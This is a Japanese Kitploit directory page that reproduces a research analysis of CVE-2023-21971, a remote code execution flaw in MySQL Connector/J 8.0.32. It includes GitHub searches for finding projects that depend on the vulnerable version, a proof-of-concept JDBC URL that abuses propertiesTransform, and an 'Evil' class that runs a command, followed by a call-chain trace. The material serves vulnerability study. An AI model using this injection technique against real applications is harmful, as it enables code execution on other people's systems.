Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE 分析分析 | Kitploit
ツール/GitHubGitHub/avento/cve-2023-21971_analysis
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE 分析分析

リポジトリを見る
323年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-21971 Connector/J RCE 分析

参考

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC 逆シリアル化解析 - 跳跳糖 (tttang.com)

脆弱性概要

Oracle MySQL の MySQL Connectors 製品における脆弱性(コンポーネント:Connector/J)。影響を受けるサポート対象バージョンは 8.0.32 以前です。悪用が困難な脆弱性により、高権限の攻撃者が複数のプロトコルを介してネットワークにアクセスし、MySQL Connector を破壊する可能性があります。攻撃を成功させるには、攻撃者以外の人間による操作が必要です。この脆弱性の攻撃に成功すると、MySQL Connector のハングアップや頻繁な繰り返しクラッシュ(完全な DOS)を引き起こす無許可の能力、および一部の MySQL Connector からアクセス可能なデータへの無許可の更新、挿入、削除、および一部の MySQL Connector がアクセス可能なデータへの無許可の読み取りアクセスが可能になる可能性があります。

影響範囲:

  • affected at 8.0.32 and prior

検索

Github 上で mysql-connector-java に依存するプロジェクトを検索します。

root@kitploit:~
filename:pom.xml mysql-connector-java

Github 上で検索すると、特定のバージョンの mysql-connector-java に依存するプロジェクトが見つかります。

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

分析

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

ここでは、propertiesTransformClassName を制御でき、newInstance() を呼び出す際に自動的にその引数なしコンストラクタが呼び出されることが明らかです。

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

明らかに検証用の Demo を作成できます。

再現環境

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

ここでは直接 Jar ファイルをダウンロードして IDEA プロジェクトのライブラリに追加します。

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

ただし、Evil クラスはローカルで作成したものであり、依存関係の中に ConnectionPropertiesTransform インターフェースを実装したクラスは一つもありません。これは利用価値の低い脆弱性なのでしょうか?

image-20230607145253977

実験により、Evil クラスは ConnectionPropertiesTransform インターフェースを実装しなくてもコマンド実行が可能であることがわかりました。

image-20230607145521241

呼び出しチェーン

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
ツールをダウンロード